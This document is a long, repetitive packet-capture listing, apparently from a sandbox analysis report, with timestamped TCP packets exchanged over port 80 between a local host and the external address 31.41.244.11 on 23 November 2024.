Nov 23, 2024 13:28:15.749546051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.749620914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.749665022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.749804974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.750655890 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.750739098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.750829935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.751812935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.751902103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.751955986 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.752845049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.752891064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.752921104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.753146887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.753704071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.753793001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.753803015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.753926992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.754489899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.754601955 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.754687071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.755461931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.755544901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.755624056 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.756392956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.756448984 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.906186104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.906259060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.906349897 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.906428099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.906649113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.906723022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.906755924 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.906820059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.907644987 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.907746077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.907747984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.907829046 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.908618927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.908729076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.908731937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.908790112 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.909606934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.909683943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.909698009 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.909744024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.910592079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.910690069 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.910695076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.910803080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.911571980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.911678076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.911699057 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.911761999 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.912564039 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.912647963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.912694931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.912792921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.913554907 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.913600922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.913646936 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.913714886 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.914617062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.914664984 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.914711952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.914817095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.915507078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.915572882 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.915657043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.915746927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.916475058 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.916585922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.916591883 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.916695118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.917468071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.917548895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.917577982 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.917632103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.918462038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.918535948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.918569088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.918612957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.919459105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.919504881 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.919553041 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.919604063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.920449018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.920490026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.920550108 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.920608997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.921386957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.921478987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.921529055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.921572924 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.922394037 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.922543049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.922544956 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.922650099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.923609972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.923633099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.923661947 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.923696041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.924393892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.924483061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.924508095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.924580097 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.925369978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.925487995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.925527096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.925527096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.926331043 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.926425934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.926465988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.926557064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.927341938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.927402973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.927535057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.927639008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.928312063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.928340912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.928380013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.928380013 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.929254055 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.929362059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.929375887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.929472923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.930270910 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.930325031 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.930372953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.930465937 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.931243896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.931328058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.931369066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.931425095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.932228088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.932313919 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.932347059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.932401896 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.933279037 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.933337927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.933384895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.933496952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.934196949 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.934318066 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.934381008 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.934576988 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.935175896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.935265064 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.935292006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.935337067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.936177015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.936265945 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.936281919 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.936352015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.937150002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.937247038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.937247992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.937299967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.938137054 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.938206911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.938250065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.938317060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.939169884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.939232111 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.939279079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.939335108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.940114021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.940165997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.940222979 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.940272093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.941082001 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.941144943 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.941188097 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.941241026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.942061901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.942112923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.942158937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.942200899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.943051100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.943129063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.943176031 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.943229914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.944036007 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.944139957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.944142103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.944191933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.945010900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.945082903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.945159912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.945214987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.946022034 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.946101904 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.946192026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.946275949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.946969986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.947027922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.947263956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.947318077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.947998047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.948052883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.948148966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.948198080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.948976040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.949026108 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.949096918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.949135065 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.949963093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.950021029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.950056076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.950092077 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.950927019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.950951099 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.950970888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.950984955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.951931953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.951980114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.952009916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.952052116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.952940941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.952991962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.953002930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.953062057 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.953862906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.953919888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.953949928 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.953949928 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.954858065 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.954912901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.954945087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.954997063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.955854893 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.955926895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.955965996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.956039906 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.956842899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.956917048 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.956927061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.956998110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:15.957783937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:15.957844973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.109226942 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.109246969 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.109293938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.109366894 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.109668016 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.109709978 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.109852076 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.109956026 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.110702038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.110764027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.110845089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.110997915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.111736059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.111804008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.112291098 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.112358093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.112709045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.112770081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.112853050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.112948895 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.113694906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.113712072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.113769054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.113769054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.114624977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.114764929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.114785910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.114801884 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.115521908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.115570068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.115655899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.115864992 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.116689920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.116704941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.116739035 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.116812944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.117583990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.117676973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.117724895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.117805004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.118432999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.118483067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.118624926 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.118674994 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.119633913 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.119648933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.119688988 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.119715929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.120501995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.120557070 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.120631933 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.120708942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.121453047 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.121503115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.121592999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.121639967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.122385025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.122437954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.122530937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.122620106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.123519897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.123579979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.123672962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.123728037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.124432087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.124506950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.124552965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.124629974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.125365973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.125427008 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.125494957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.125557899 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.126351118 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.126452923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.126499891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.126538038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.127382994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.127438068 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.127528906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.127615929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.128390074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.128454924 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.128643036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.128705978 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.129482985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.129498005 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.129537106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.129563093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.130350113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.130399942 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.130495071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.130562067 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.131369114 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.131417990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.131489038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.131573915 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.132343054 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.132417917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:16.132500887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:16.132553101 CET	49729	80	192.168.2.6	31.41.244.11
